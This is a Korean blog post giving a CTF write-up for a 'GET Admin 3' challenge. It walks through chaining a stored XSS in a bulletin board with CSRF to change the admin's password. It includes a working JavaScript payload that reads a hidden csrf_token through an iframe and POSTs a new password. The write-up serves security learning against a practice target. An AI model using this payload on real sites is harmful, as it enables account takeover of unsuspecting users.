Notice
Recent Posts
Recent Comments
Link
| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | 5 | 6 | |
| 7 | 8 | 9 | 10 | 11 | 12 | 13 |
| 14 | 15 | 16 | 17 | 18 | 19 | 20 |
| 21 | 22 | 23 | 24 | 25 | 26 | 27 |
| 28 | 29 | 30 | 31 |
Tags
- 세션
- 모의해킹
- 로그인페이지
- file upload
- Los
- XSS
- union sql injection
- FridaLab
- 웹 개발
- blind sql injection
- cookie 탈취
- 과제
- MySQL
- csrf
- 증적 사진
- 문제 풀이
- lord of sql injection
- 웹 해킹
- Python
- Error based sql injection
- sql injection point
- 웹개발
- CTF
- 보고서
- sql injection
- 로그인
- JS
- 게시판 만들기
- php
- 보안 패치
Archives
- Today
- Total
Almon Dev
ctf 풀이 (GET Admin 3) 본문
ctf 문제 풀이
GET Admin 3

풀이
1. CSRF 취약점 찾기
문제에서 admin 계정을 탈취하라고 합니다. 그렇다면 비밀번호 변경 기능이 CSRF 취약점이 있는지 확인합니다.

마이페이지의 수정 기능에 인증정보가 포함되지 않는 것 같습니다.


그런데 요청값을 보니 입력한 적 없는 token이 포함되어 있습니다.
아무래도 마이페이지에 접근할 때 자동으로 form태그에 hidden 타입으로 생성되어 있는 것 같습니다.

GET 메서드도 확인해 봤지만 불가능했습니다.

2. 관리자 계정 탈취하기
그렇다면 csrf token을 탈취한 뒤에 POST 메서드로 요청을 보내면 CSRF 공격이 가능할 것 같습니다.
그러기 위해서는 우선 XSS 취약점을 찾아야 합니다.


게시판 글 작성에서 JS를 삽입해 CSRF Token을 탈취한 뒤 CSRF 공격을 하도록 하겠습니다.
iframe을 이용해서 마이페이지에 접근하고 csrf_token을 탈취한 뒤
fetch를 이용해서 post요청을 보내 비밀번호를 변경하는 스크립트입니다.
const frame = document.querySelector('#frame');
frame.onload = () => {
const frameDom = frame.contentDocument;
const token = frameDom.querySelector('input[name="csrf_token"]').value;
const url = 'http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php';
fetch(url, {
method : 'POST',
headers : {
'Content-Type' : 'application/x-www-form-urlencoded',
},
body : `pw=12345&csrf_token=${token}`,
})
.then(res => res.text())
.then(res => console.log(res))
}

게시글에 접근하면 비밀번호가 변경되는것을 확인할 수 있습니다.

이제 관리자봇이 해당 게시글에 접근하도록 하면 됩니다.


관리자 계정에 로그인합니다.


'웹 해킹 > 웹 해킹(ctf)' 카테고리의 다른 글
| ctf 풀이 (Get Flag File) (0) | 2025.02.17 |
|---|---|
| ctf 풀이 (WebShell 3) (0) | 2025.02.17 |
| ctf 풀이 (GET Admin 2) (1) | 2025.01.13 |
| ctf 풀이 (GET Admin 1) (1) | 2025.01.13 |
| ctf 풀이 (Steal Info 2) (0) | 2024.12.31 |